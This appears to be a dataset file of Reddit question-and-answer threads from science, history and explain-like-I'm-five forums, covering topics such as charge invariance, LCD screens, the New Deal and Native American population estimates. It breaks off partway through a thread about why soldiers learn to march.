{"q_id": "7aym7j", "title": "Why does the electron's charge stay constant even under relativistic velocities?", "selftext": "After looking up the question on google it seems all experiments show that the charge of an electron is independent from its velocity. Is there a mathematical background or theory why this is the case? What would happen if it did change like mass does at relativistic velocities?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7aym7j/why_does_the_electrons_charge_stay_constant_even/", "answers": {"a_id": ["dpdznwa", "dpeejoh"], "score": [24, 11], "text": ["Electric charge is a relativistic invariant. The electron has a four-current density\n\nJ^(\u03bc) = (\u03c1c,**J**),\n\nwhere **J** is the three-current density.\n\nThe electric charge of the particle is simple the integral of the charge density over space:\n\nQ = \u222b \u03c1(**r**) d^(3)r, over all space.\n\nBut this just equals\n\nQ = (1/c) \u222b J^(0)(**r**) d^(3)r.\n\nIf you work out the transformation laws for J^(0) and d^(3)r between different inertial frames, you find that their product is invariant.\n\nFor a simple boost \u03c1 transforms into J^(0)' = \u03b3J^(0), and d^(3)r transforms into d^(3)r' = d^(3)r/\u03b3, with \u03b3 = 1/sqrt(1 - (**v**/c)^(2)).\n\nMultiplying these two quantities together, you see that\n\nJ^(0)' d^(3)r' = J^(0) d^(3)r.\n\nSo the electric charge of any particle or system of particles is invariant under this specific boost (and without proof, I state that it's true for all other Lorentz transformations as well).", " > What would happen if it did change like mass does at relativistic velocities?\n\nThe notion that the mass of a system changes as it approaches relativistic velocities is anachronistic. The concept of \"relativistic mass\" is very unpopular these days, because while it makes a very few small things simpler (like relativistic momentum), it makes a great many things far more complicated without providing any further explanation. For example, you'd have to define a longitudinal and transverse component of mass. \n\nIn other words, these days mass is defined as the rest mass of a system, and is an invariant quantity. Instead, we simply accept that equations like p = mv are not correct at higher speeds, so we update the equation for momentum as p = \u03b3mv, where m is the regular, scalar mass that we're used to. In that sense, mass stays constant, too.\n\n/u/RobusEtCeleritas already wrote a good but technical explanation for why charge is invariant under relativistic boosts, and it's hard to imagine \"what would happen\" if that weren't the case, because then electromagnetism wouldn't be at all what it is!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1xag43", "title": "why everyone is so scared of a terrorist attack at the olympics?", "selftext": "Edit: sorry for the bad grammar: \nWhy is everyone so afraid of a terrorist attack at the olympics? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xag43/eli5why_everyone_is_so_scared_of_a_terrorist/", "answers": {"a_id": ["cf9jr9i", "cf9jzu4", "cf9mdqz", "cf9mqsj"], "score": [3, 40, 2, 2], "text": ["When there are a lot of people congregated in one place, it is an idea setting for a terrorist attack.\n\nThere have also been terrorist attacks planned for other olympics, but thankfully they haven't been vastly successful.", "* There have been two terrorist attacks in Russia recently\n\n* The group that perpetrated those attacks has said they were planning an attack at the Olympics\n\n* Sochi is near places where a lot of terrorist activity goes down\n\n* There's a lot of people in one place expecting joy and celebration, which is a prime target for a terrorist attack. \n\n* The security in Russia right now is pretty weak, because Russia as a country is kind of a shithole right now. \n\n* There was a terrorist attack during the 1996 Olympics, and the security there was far tighter than security at the Sochi olympics. \n\nGenerally it's just a big, almost-perfect storm for a terrorist attack to go down. It may not happen, and it probably won't, but it's definitely a possibility. ", "On top of all the good reasons already mentioned, terrorists thrive on attention - they're basically Internet trolls in real life. The Olympics have media from many countries, and because the crowds also have people from many countries, coverage of any attack is certain to be broadcast around the world. From the perspective of a terrorist, it's an easy win.", "Lots of people from and wide media coverage.  What more could a terrorist want?  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5gcwhr", "title": "if a person enters a country on a visa, is it \"noticed\" if they haven't left by the time the visa expires? does anyone go looking for them i.e. immigration officials?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gcwhr/eli5_if_a_person_enters_a_country_on_a_visa_is_it/", "answers": {"a_id": ["dar81h7"], "score": [2], "text": ["Depends on the country. In most cases even if it is noticed no one will go looking for them, but they will have problems when they try to leave. Some countries like the United States will let you leave (there is no border control for people leaving the country), but if you overstayed you won't be able to enter again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1vy8w9", "title": "How close would a dying star have to be to damage us catastrophically?", "selftext": "How close can it be without damaging us?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1vy8w9/how_close_would_a_dying_star_have_to_be_to_damage/", "answers": {"a_id": ["cewz1yi"], "score": [43], "text": ["A supernova within 100 ly of Earth could have noticeable effects, closer than 25 ly and one could destroy a majority of the ozone layer and create a bunch of nitrogen oxides.\n\nA gamma ray burst, pointed at Earth, within the milky way could have devastating effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31uwup", "title": "Is charge imaginary mass?", "selftext": "I read in a paper somewhere that mass and charge are actually the same, except that charge is simply an imaginary manifestation of mass like z = a +ib where a is the mass and ib is the charge. I have no idea what z is though. What I want to know is, has this been proven? And if so, could someone please explain it to me? I didn't understand much of the paper. The link to the paper is given below:\n\n_URL_0_ \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/31uwup/is_charge_imaginary_mass/", "answers": {"a_id": ["cq58qxj", "cq5ch4b", "cq5dki7", "cq5eqv0", "cq5f5w6", "cq5h756", "cq5kjjh", "cq5q620"], "score": [172, 12, 74, 19, 6, 3, 2, 4], "text": ["No, that's not the case. If you can post the paper maybe we can see where that idea came from.", "No, because two completely different forces govern (electric) charge and (gravitational) mass:\n\nWhat is usually called charge is actually only **electric** charge. But electromagnetism is only one of four fundamental forces, the others being weak and strong interaction and gravity. Strong interaction also knows \"charge\", but this color charge is also completely independent of electric charge. So by the logic of the question, (color) charge, quark flavour and the other force mediators should also be part of \"mass\".\n\nHowever, one scientific goal is to find a so called theory of everything, which aims to describe the four forces in a single theory, which is not yet found (and may even be impossible).\n\nMaybe you misread the specific line of that paper.", "The paper you read might have been referring to the fact that in classical mechanics (i.e. with Newton's and Coulomb's law) you can write them together as F = Re(z1 z2)/r^2 (where z is defined as you've defined it) in the right units, but there isn't very much to be gleaned from that fact, especially because when relativistic/quantum effects are taken into account gravity and electromagnetism no longer resemble each other so directly and you can't write anything like a combined force law anymore.", "Please post a link to the original paper you read. \n\nYou might be thinking of 'effective mass', which is a somewhat confusing analogy (as it is not directly resultant from mass) used is solid state physics and chemistry to simplify band structure and conduction problems. Effective mass is the mass that a particle seems to have in response to forces. For example, the response a charged particle has to electromagnetic forces.\n\nSome poor quality slides from a chemistry course I took on effective mass _URL_0_\n\nYou can also consult wikipedia/google to see if this is what was the cause of your confusion.\n\nIt is also possible that what you read may relate to vacuum polarization and screening/anti-screening of charge. Can't be sure without knowing what paper you read.", "If you're talking about a paper like [this one](_URL_0_), it just discusses models in which it is mathematically convenient to treat charge as an imaginary quantity. That paper also states that it is sometimes useful to treat time as imaginary (page 9). \n\nTo be honest, I didn't read the paper carefully enough to comment on how valid any of it is, but either way, it's just a way to map math to reality in a convenient way. It doesn't mean anything beyond that.", "Could it have been a paper about [geometric interpretations of electromagnetism](_URL_0_) ? That involves substituting charge for mass but doesn't imply any relationship between the two.", "I find the best way to think of charge as the measure of a particular symmetry. The flow/movement of charge, whether in the form of just energy or mass energy, is what conserves the symmetry. Electrons have charge of + or -1, so a +1 'flows' as current to cancel the -1 and equal 0. Other particles with charge +- 1/2 will then flow in 4 fold symmetry to achieve the same thing in the land of subatomic particles. Hope that makes some sense. ", "Is it this paper? _URL_0_ \"Electric Charge as a Form of Imaginary Energy\"? I'm wondering, that if it isn't hte paper, the author you read just simply eliminated relativistic effects and worked with some version of Newtonian mechanics "]}, "title_urls": [], "selftext_urls": ["http://www.ptep-online.com/index_files/2008/PP-13-07.PDF"], "answers_urls": [[], [], [], ["http://i.imgur.com/wHscxmU.jpg"], ["http://arxiv.org/pdf/physics/0110092.pdf"], ["http://physics.stackexchange.com/questions/76354/geometric-interpretation-of-electromagnetism"], [], ["http://www.ptep-online.com/index_files/2008/PP-13-07.PDF"]]}
{"q_id": "88pk1w", "title": "financial securities.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/88pk1w/eli5_financial_securities/", "answers": {"a_id": ["dwmcl5k", "dwmemop", "dwmg302"], "score": [3, 2, 2], "text": ["In general, a financial security simply refers to any form of tradeable investment vehicle, be it stock, options, futures, bonds, warrants, CFDs, etc. \n\nFrom what I understand, under certain jurisdictions, the term only covers certain products, but in general usage, it's more broad in the products it covers.", "Generally, a security is just an underlying asset. It could really be anything but commonplace securities are Money Market Deposits, Certificates of Deposits and bonds. \nIn terms of making money from them, many securities pay interest to the holder. Some securities, are quoted on a discount basis. For example, a company may sell you a bond worth $100 for $97. After x amount of time, you would receive the value of the bond ($100).", "A \"security\" is a generic term for a thing like a stock. It can be bought, sold, traded. A *negotiable* asset. \n\nA stock is a *kind* of security which is why the SEC (Securities Exchange Commission) regulates them. A stock is an *equity* security meaning it is a piece of the company itself. \n\nOther types of securities include:\nBonds - a debt contract put out by an institution that is a promise to pay back a loan at a given interest rate. \n\nThey can be traded like stocks, and bonds have an expected value that consists of the expected interest payments minus the expected risk that the principle won't be paid back. As those things shift, a person might be able to sell the bond to a third party for more or less money. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "sb9ax", "title": "the new deal, initiated by f.d.r.", "selftext": "Never really got a full grasp on what exactly Roosevelt was doing for the U.S. economy when he initiated the New Deal pre-WWII.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/sb9ax/eli5_the_new_deal_initiated_by_fdr/", "answers": {"a_id": ["c4cn7t7", "c4cojvx"], "score": [14, 11], "text": ["[Three R's](_URL_0_): Relief, Recovery, Reform. First was making sure people didn't starve and could keep their homes. Second was creating jobs until the economy could recover on its own. Third was financial regulation.\n\n\nDid it work? Yes. The American economic improvement began years before the United States joined the Second World War in 1941.\n\nWhy is it controversial? It set us onto a road to deficit spending. It was the great encroach of the government into our private lives. And (my opinion), since this is a democracy (republic), it gave us all a say in each others lives because we have a say in how our country is run and our money is spent.", "ELI5: You are president of an ant colony and have typically left it alone for hundreds of years. If you mess up (accidentally put some gum in the colony) you usually just left it alone and the colony would fix itself.\n\nHowever one day in 1929 something REALLY messed up (you put a water hose into the colony) and for years and years it didn't seem like it was getting better. So, you as president, decided to intervene heavily with how the colony was run with a 'New Deal'. You started hand feeding some of the ants, started directing the ants on how to rebuild tunnels in a specific way, and so on.\n\nSome ants believe that you as a president of the colony was stepping too far, especially as common belief at that time was for the president to back off if there was something wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/New_Deal"], []]}
{"q_id": "26k46v", "title": "Do 2 particles traveling with the speed of light at CERN smash into each other with double the speed of light?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26k46v/do_2_particles_traveling_with_the_speed_of_light/", "answers": {"a_id": ["chrs9h2", "chrsdae", "chrvd9c", "chrwjzi"], "score": [5, 44, 7, 8], "text": ["No. From our frame each appears to approach one another at c, say   v. From their frame the other approaches at just a little more than v, still less than c. ", "No, they smash into each other at almost the speed of light. The speed of light is the same in all reference frames, which means that velocities don't add the way you'd intuitively expect.", "It depends on your reference frame and what you mean by each smash into each other with double the speed of light.\n\nFrom the reference frame of the researcher the distance between the two particles would close at almost 2c but from the reference frame of one of the particles, the other particle would only be moving at almost c. I\n\nNote: I said almost because massive particles cant move at the speedof light.", "The most important thing to know is that the particles at the LHC (which is one of the facilities at CERN) are not traveling at the speed of light. At their fastest they go about 0.999999999 times the speed of light.\n\nWhen two things are traveling at high speed (well, at any speed) in opposite directions relative to you, you can calculate the speed one appears to be traveling from the perspective of the other as (v1+v2)/(1+v1v2/c^(2)). In this case, you get 2\\*0.999999999c/(1+0.999999999^(2)) = 0.99999999999999996c."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "zbsrc", "title": "how does amc benefit by splitting the last season of breaking bad into two halves?", "selftext": "With almost an entire year separating the two halves of the season, it seems like a lot of the hype of the show will die down. What am I missing here, why is this a good idea?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zbsrc/eli5_how_does_amc_benefit_by_splitting_the_last/", "answers": {"a_id": ["c637fim", "c6386op", "c638ol0", "c638sq6", "c638wqu", "c6391gd", "c6392jx", "c6396ah", "c639gws", "c63dy4i", "c63fk81"], "score": [9, 173, 18, 33, 11, 2, 2, 3, 3, 2, 3], "text": ["Wild speculation here, somebody more informed might offer a better explanation but my guess is that it is to do with the fiscal year, and by putting *Breaking Bad* into different years then it gives the accountants less to worry about when it is time to report 2013's figures, especially as the final 8 episodes of *Breaking Bad* really are the last episodes we will ever see. \n\nAs for why July and not January or April or May or whenever? Probably a marketing decision. Do AMC want to \"own\" the summer again? Are there other shows they want to stay out of the way of? Building hype for such a beloved show wont be a problem, but I am sure they still want it to have a clear run and be the only thing that people are talking about at work on a Monday morning for one more summer. ", "Because then they can compete in the 2012 and 2013 Emmys. It's that simple. If they had all 16 episodes this year they wouldn't get that chance.\n\ntl;dr: The television industrys version of karma-whoring.", "You know how premieres and finales have better ratings? Imagine if there were a way to do that twice as often, for one of the most critically acclaimed and anticipated shows on television.", "Contractually, the cast doesn't get raises if the episodes are still billed as part of \"Season 5\".  It saves them money and probably prevents them from having to insert a bunch of fluff to fill two full seasons.\n\nSource: _URL_0_\n\nEdit: Should add, major spoiler alert for that article if you haven't watched the finale yet.", "Money, mostly.  *Mad Men* (specifically creator Matthew Weiner), held out for a LOT more money (~$10mil/season just for himself) and basically gutted the budgets of the other AMC shows. [Here](_URL_0_) is an article that basically says as much.  Nothing against Weiner or *Mad Men*, but that SUCKS as a TV viewer.", "On top of everything here, let's not forget DVD sales! Getting people to buy two seasons instead of one equals more money for AMC!", "No spoilers:\n\nWouldn't this cause problems if one of the main cast members died in real life?", "I think its to prepare for its replacement.\n\nWhat else is on AMC? i think they're working on a new show and now this is wrapping up, they have a time slot to fill and money to spend... so they want to start airing promos during the last episodes of breaking bad to keep you hooked on AMC.", "Because if they said \"this season is 6 episodes short\" youd be pissed off. but it somehow seems better saying it \"has a one year break\" ", "Contractually AMC had to give the cast a raise if there were two more seasons. By contractually treating it as one season they saved money this way.", "A lot of good answers were given here, something that has not been mentioned is probably because since this is the last season, the show would not of wanted to compete it's viewership with Sunday Night Football"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.hitfix.com/whats-alan-watching/mid-season-finale-review-breaking-bad-gliding-over-all-the-bathroom-reader"], ["http://articles.nydailynews.com/2011-08-12/entertainment/29898208_1_weiner-and-amc-frank-darabont-mad-men"], [], [], [], [], [], []]}
{"q_id": "85fe2l", "title": "how does old-school gameboy screens/calculators/digital watches display a picture without actually producing light?", "selftext": "The original gameboy required a light source to see what was on the screen, how exactly does that work? Shouldn't the screens output inherently be a light by itself?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/85fe2l/eli5how_does_oldschool_gameboy/", "answers": {"a_id": ["dvx0qbx", "dvx1jn5", "dvx5ll2"], "score": [11, 3, 3], "text": ["Paintings produce a picture without producing any light.  They rely on ambient light around them for you to see it.  a Gameboy's screen is an LCD just like your phone.  Instead of a backlight in the background it uses a reflective surface that the ambient light bounces off of.  Both screens have a film over them with a liquid crystal matrix on it, when electricity passes through a cell in the LCD matrix it changes from opaque to transparent or the other way around.", " > Shouldn't the screens output inherently be a light by itself?\n\nNo.  LCD screens don't produce light inherently.  Your monitor has a separate backlight that illuminates the pixels, which are tiny, translucent squares that can change what color and percentage of light they allow to pass.  The monitor can change the color of the pixels without any illumination.  But since your monitor is designed to be backlit, you can't really see it unless the backlight is on.\n\nOlder monochrome LCD displays were designed with a light-colored material underneath to reflect ambient light so that the pixels would be visible.\n\nThe only screens that produce their own light are CRTs, plasma displays, projectors, and OLED displays (where each pixel is its own light).", "They produce images pretty much exactly like modern LCDs do.\n\nAn LCD panel is, in effect, a wall covered in windows. On each window is a curtain that can be electronically opened and closed, either all the way or only partially. In a color LCD the glass used in each window is tinted either red, green or blue depending on its position.\n\nMost modern LCDs use a backlight, which means there is big light (or lights) on the other side of the wall. Any windows with the curtains open will allow the light through, so to display a dark blue image you'd close all the red and green curtains and open all the blue curtains part of the way. From a distance you'd simply see a blue image instead of tiny windows.\n\nOlder LCDs (and those used in some low power small devices today) didn't use an artificial light source. Instead behind each window there was a mirror (well a reflective surface). If a curtain is open light from outside can enter the window and bounce back out from the mirror. If the curtain is closed no light is reflected and it's dark.\n\nThe screens on calculators or digital watches (the ones with non-pixel shaped black digits) are typically doing it in a bit of a reverse manner - the light color is the reflector behind the LCD, while the black color is the curtain being closed. So if you have an 8 segment digit each segment is essentially a large shaped curtain - when power is sent to that curtain it closes shut (blocking the reflector and making a dark element) and if power is cut it swings open again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "53hke6", "title": "video (link in the text) where the tube from a ballpoint pen was placed on the spout of a lighter and once removed, caused the flame to float mid air", "selftext": "This is an instagram link, as i have no idea how to transfer the video anywhere else or into another format :/\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/53hke6/eli5_video_link_in_the_text_where_the_tube_from_a/", "answers": {"a_id": ["d7t5wp2", "d7th0tc", "d7tpwaf", "d7uaf2t", "d7wldyg"], "score": [76, 19, 4, 3, 3], "text": ["The flame isn't actually floating... What basically happens is that the ink burns in a way that the majority of the hottest part of the flame is outside of the visible light spectrum.  However, at the top, where the flame is cooler and there's more stuff burning than the ink the flame becomes a color that's part of the visible spectrum.  ", "I think the ink burns out and partially clogs the tube causing the gas to be spit out at a higher pressure causing it to distance itself from the lighter.  if you switch the small plastic thing to make the flame bigger you get a similar effect in cheaper lighters. ", "I'm pretty sure that trying to blow ink into the lighter isn't going to do anything since it's essentially a closed valve if you're not holding down the button. That's all the button does, release gas.\n\nHowever, that alone does not make the video fake. I do know that if you spit out too much gas too fast the flame won't stay at the bottom of the lighter. The reason is because there isn't enough oxygen in the mix to cause it to combust. ", "YouTube source by MrGear (from the watermark on the video): [5 Awesome Tricks with Lighters](_URL_0_)\n\nEdit:\n\n1. It looks like the first part (the ink clogging the nozzle, as mentioned in this thread) is quite real (he lights paper with the flame), and just that the tighter jet of gas is moving the flame so far away. It isn't an invisible flame as someone guessed here, since he puts it out by blocking the jet with his finger.\n\n2. After watching the rest of this video, the creator seems like a littering jerk to me. The others weren't nearly as interesting, too.", "(Reposted at top level as requested.)\n\nThe ink is very viscous. The blob of ink clogs the nozzle. On first use the pressure creates a tiny hole in the ink blob.\n\nThe escaping gas is now moving \"faster than usual\" because of physics. (Boyle's law plus Bernoulli's principle alters gas mixing, etc).\n\nThe now very narrow column of flammable gas takes longer, and so further, to mix with the ambient air in order to become a properly combustible mixture. The resulting flame is \"delayed\" and so further from the nozzle. The flame is also smaller because of turbulent losses along the column where gas mixed away at concentrations too low to burn.\n\nIn the second sequence we can see that the metal hood was removed from the lighter because the resultant pin-hole through the ink was off center so it wouldn't have come out of the aperture at all.\n\nSo on the flick the spark lights the gas when it is slow moving and then moves from the lighter-base to the space above as the column establishes itself.\n\nThe ink in that sort of pen is very inert and probably a non-flammable gel. If it were volatile enough to burn at all, let alone so hot as to be invisible, the pen would dry out before you ever got to use it at all. And everything you wrote would stink to high heaven.\n\nNote also that this is why proper butane torches (Etc) have carburetors on their nozzles. If they didn't the fuel escape pressure would make the flame be unstable and distant from the torch nozzle.\n\nThere is also WAY too little actual ink on the nozzle, should it be that volatile, to last that long.\n\nFurther, the flame wouldn't go out when the gas was turned off (thumb released) if the ink were burning then the flame would come back down to the lighter or continue to burn.\n\nThe video maker probably had to try a lot of takes to get any stable flame at all."]}, "title_urls": [], "selftext_urls": ["https://www.instagram.com/p/BKh1gs4BIs-/"], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=dh1HpScnPpk"], []]}
{"q_id": "2v5sx4", "title": "in google chrome, what's the difference between a plugin and an extension?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2v5sx4/eli5_in_google_chrome_whats_the_difference/", "answers": {"a_id": ["coepwem", "coeqafw"], "score": [5, 6], "text": ["Google is your friend.  From the top... _URL_0_ \n\nThe difference is that one interacts with the browser itself and the other interacts with the HTML, CSS, and JS which compose the page.", "Plugins have to do with displaying media (such as video).\n\nExtensions modify aspects of the browser or browsing experience."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://colonelpanic.net/2010/08/browser-plugins-vs-extensions-the-difference/"], []]}
{"q_id": "502w44", "title": "If I were to go back in time with modern day smartphone, how far would I be able to go back and still get coverage?", "selftext": "Modern day smartphone as in an Iphone 6s or Galaxy s7", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/502w44/if_i_were_to_go_back_in_time_with_modern_day/", "answers": {"a_id": ["d7105a8"], "score": [22], "text": ["Modern smartphones still support second-generation mobile networks (2G). 2G was first introduced in Finland in 1991. So that's how far back you could go and still get coverage with a modern phone. Note that you would only be able to call, data services were not yet available at that time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2zuwib", "title": "Why Do Most People Root for the Underdog?", "selftext": "Hundreds of movies and books, as well as personal observation, lead me to believe that most individuals root for the underdog when they don't have a vested interest in the outcome. \n\nWhy?  Has it been studied?  If so, has there ever been a correlation between the tendency or lack thereof and normal vs. abnormal psychology?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2zuwib/why_do_most_people_root_for_the_underdog/", "answers": {"a_id": ["cpn626o"], "score": [5], "text": ["Researchers generally assert that we love to root for the underdog out of a general sense of fairness and justice for the disadvantaged, and that we perceive underdogs to be putting in more effort than the top-dogs, so we feel like they deserve to succeed.\nA recent study looking at who people tended to support in Olympics matches and in the Palestinian conflict found that people do indeed increase support for one side over the other when it is perceived as the underdog. In a follow-up looking at the associated mechanisms, they found that the underdogs were supported primarily because participants attributed increased effort to the underdogs.\nPeer-reviewed source: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://psp.sagepub.com/content/33/12/1603.abstract"]]}
{"q_id": "2o58tc", "title": "Is there a law analogous to Newton's law of cooling for heating?", "selftext": "As I understand it, Newton's law of cooling states that the rate at which an object cools is directly proportional to the temperature difference between the object and the ambient temperature. Why is this the case?\n\nIs there a similar law that applies to the way in which an object heats up?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2o58tc/is_there_a_law_analogous_to_newtons_law_of/", "answers": {"a_id": ["cmk2bka"], "score": [8], "text": [" > Is there a similar law that applies to the way in which an object heats up?\n\nIt's the same law. One of your things is cooling means the other one is heating up, and vice versa."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3jx9lw", "title": "How can historians claim to know the exact percentage of the Native American population killed (indirectly or not) by European colonizers?", "selftext": "Ever since elementary school, whenever learning about Native Americans  &  their history (a subject I enjoyed greatly), the conversion always referenced the percentage of NAs (Native Americans) killed by European colonists as upwards of 90%. Every single time this number is referenced I remember thinking to myself \"How in the BLOODY HELL can ANYONE claim to know the total number of NA people killed down to the bloody percentage!?\". My reasoning for this does not come from a place of vitriol; I cannot begin to fathom the amount pain endured by these innocent people for such senseless reasons. Still, seeing as how in the modern world, academics still constantly argue over the number of deaths that occurred during WWI, WWII, Vietnam, Chinese Cultural Revolution, Stalin's industrialization efforts, etc... for good reason, it seems outrageous that people can claim to know the percentage killed of a whole population over a span of centuries across an entire continent whether it was as low as 10% or as high as 95%.\n\n\n\nWhere did this 90% number come from, what source/report/paper/survey/whatever is everybody referencing? Is there a source? If I were to put myself in the shoes of a 19th century historian in search of the number of NAs killed since Columbus' arrival, I do not know where to even begin. How could Europeans keep detailed accounts of the number of all the natives they encountered in their travels? Why would they? Even if every conquistador did, how is that an objective reference frame considering the untold number of NAs scattered across the TWO-THOUSAND mile wide continental United States at the time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3jx9lw/how_can_historians_claim_to_know_the_exact/", "answers": {"a_id": ["cut59hu"], "score": [6], "text": ["You are correct to be dubious of these percentages, since the population numbers of pre-contact native American populations were so poorly documented. The key to arriving at this percentage is to take a close look at a much smaller area and extrapolating the hard numbers for a carefully selected and better documented area over a much wider (continent wide) area.     \n     The first person to do this was Bartolome de Las Casas. He wrote several books on this topic from the 1520s through the 1560s and was an important reformer of Spain's relations with the natives. The best place to start with an in depth look at Las Casas work is his book \"A Short Account of the Destruction of the Indes\", which was published in 1552. Nigel Griffin published an English translation in 1999. Warning, this book gave rise to the Black Legend of the brutality of Spanish conquistadors. Protestants liked this, but Catholics hated it. Bartolome de Las Casas was also dismissed, out of hand until rather recently (after 1970) since he was deemed a \"High Counter\" that over estimated the population of Native Americans at the time of contact with the Spanish. As more archaeological research is done in the Americas, the pendulum has swung more towards the way the High Counters see things. This is detailed in Charles Mann's book \"1491\". However, Bartolome de Las Casas has also been under attack for one of the key parts of his reforms of Spanish New World colonies. Las Casas advocated importing African slaves to provide the labor the Spanish needed to make their colonies economically viable. If you work at a University that has a strong \"Black Lives Matter\" or a strong African American Studies department you will get into big trouble if you mention Bartolome de Las Casas to much. He was always and still is a very controversial figure.     \n       Among the earliest of the modern High Counter historians that look into this issue are Sherburne Cook and Woodrow Borah. Their seminal work is \"Essays in Population History\" that was published in three volumes between 1971 and 1979. This book was the first major scholarly work that looked into the data of the biological causes of the dramatic crash in post contact Native American population. They did not harp on the human rights violations of Spanish conquistadors, but looked real hard at the data on the effects of diseases killing native Americans.     \n     Sherburne Cook was a professor at the University of California Berkley. He published two smaller books on this topic that looked closely at much smaller areas. Baja California in 1935 and the Central Mexican Highlands in 1948. He worked with the old documents left behind by Spanish missionaries. His 1948 book was important, because it cast new light on the effects of small pox on the collapse of the Mexica Triple Alliance (Aztecs). Cook's work was not well received in 1948 and he was dismissed as being a \"high counter\". He kept plugging away though, and his most important work, \"Essays in Population History\" has swung the pendulum closer to the high counters way of looking at this question.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3es49c", "title": "what's the difference regarding amount of materials used between producing a 500gb and a 1tb hd? and how are these made?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3es49c/eli5_whats_the_difference_regarding_amount_of/", "answers": {"a_id": ["cthu4lx", "cthueyr"], "score": [4, 7], "text": ["No real difference in the materials, but a real difference in the manufacturing process.\n\nThe issue is one of information density. Each bit (one eighth of a byte, and one eight-billionth of a gigabyte) on a hard drive actually takes up a tiny bit of physical two-dimensional space on the surface of the platter. That space has to just be big enough to hold a clear status within the material that says whether it's \"on\" or \"off\", written magnetically on that surface. It needs enough real estate to be uniquely read by the drive's reading mechanism later - too small and it can get confused with the bits that are stored around it.\n\nWhen you go from 500GB to 1Tb, and unless you increase the area or storage or the number of platters in the drive, you need to fit two bits into the spots where one bit would otherwise fit, so your reading and writing mechanisms must be at least doubly as precise and your surface coating on the drive that holds the magnetic writings must have twice the resolution. That requires a more precise manufacturing process with more sensitive read/write heads capable of writing tinier clusters of data on the hard drive.", "The data inside hard drives is stored on platters. Hard drives can have multiple platters inside that are stacked onto each other. The answer to this question depends on the particular models. You can either double a hard drive's capacity by adding additional platters and read/write mechanism count, or by creating new platters that have more density and fit more data.\n\nThe more density platters have a research requirement (platters get denser with time as tech evolves). Thus, for instance, an older 500GB HDD may have two 250GB platters, while more modern ones use a single 500GB platter, and a 1TB HDD of the same brand will use two of those platters.\n\nI've found a [database](_URL_0_) on this topic across multiple brands, but I'm not sure how legit it is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://rml527.blogspot.hu/"]]}
{"q_id": "d1dj51", "title": "why do soldiers still learn to march even though that it\u2019s not practical in actual combat", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d1dj51/eli5_why_do_soldiers_still_learn_to_march_even/", "answers": {"a_id": ["ezkkwx7", "ezklb0n", "ezkoamg", "ezlr7tk", "ezls0eh", "ezlsgge", "ezlsohr", "ezlsp5j", "ezlsvxm", "ezlswv7", "ezlt0h5", "ezlt0pa", "ezlupf9", "ezlv2ha", "ezlv7j5", "ezlwue2", "ezlx6bu", "ezlxg5n", "ezlxwxn", "ezly9dt", "ezlyccg", "ezm0cuo", "ezm0gml", "ezm0nhv", "ezm103r", "ezm14do", "ezm1eyg", "ezm1si8", "ezm2rvi", "ezm74xc", "ezm94mz", "ezmaeqq", "ezmdvpk", "ezmdwy0", "ezmhm2w", "ezmixej", "ezmxi62", "ezn1blr", "eznvt65", "ezoddtf", "ezodpog", "ezodpum", "ezoer28", "ezohu4q", "ezonerx"], "score": [2669, 699, 864, 70, 66, 90, 89, 12696, 14, 38, 21, 792, 2, 5, 2, 9, 18, 5, 4, 2, 9, 10, 9, 2, 2, 13, 2, 3, 2, 3, 2, 3, 2, 3, 3, 4, 2, 2, 2, 2, 3, 3, 2, 2, 2], "text": ["Discipline. The military instills discipline, unity, and following orders from day one. Also, many historical ceremonies require marching, and they all have important places, like funeral processions.", "Marching is about teaching soldiers to follow orders and establish discipline. It also helps teach soldiers to operate as part of a unit.\n\nThe singing soldiers do while marching serves a purpose as well. It forces their lungs to work harder to build up lung capacity.", "In addition to the other answers, marching is also a hold over from when it *was* practical in combat. \n\nThe the olden days, unit formation on the 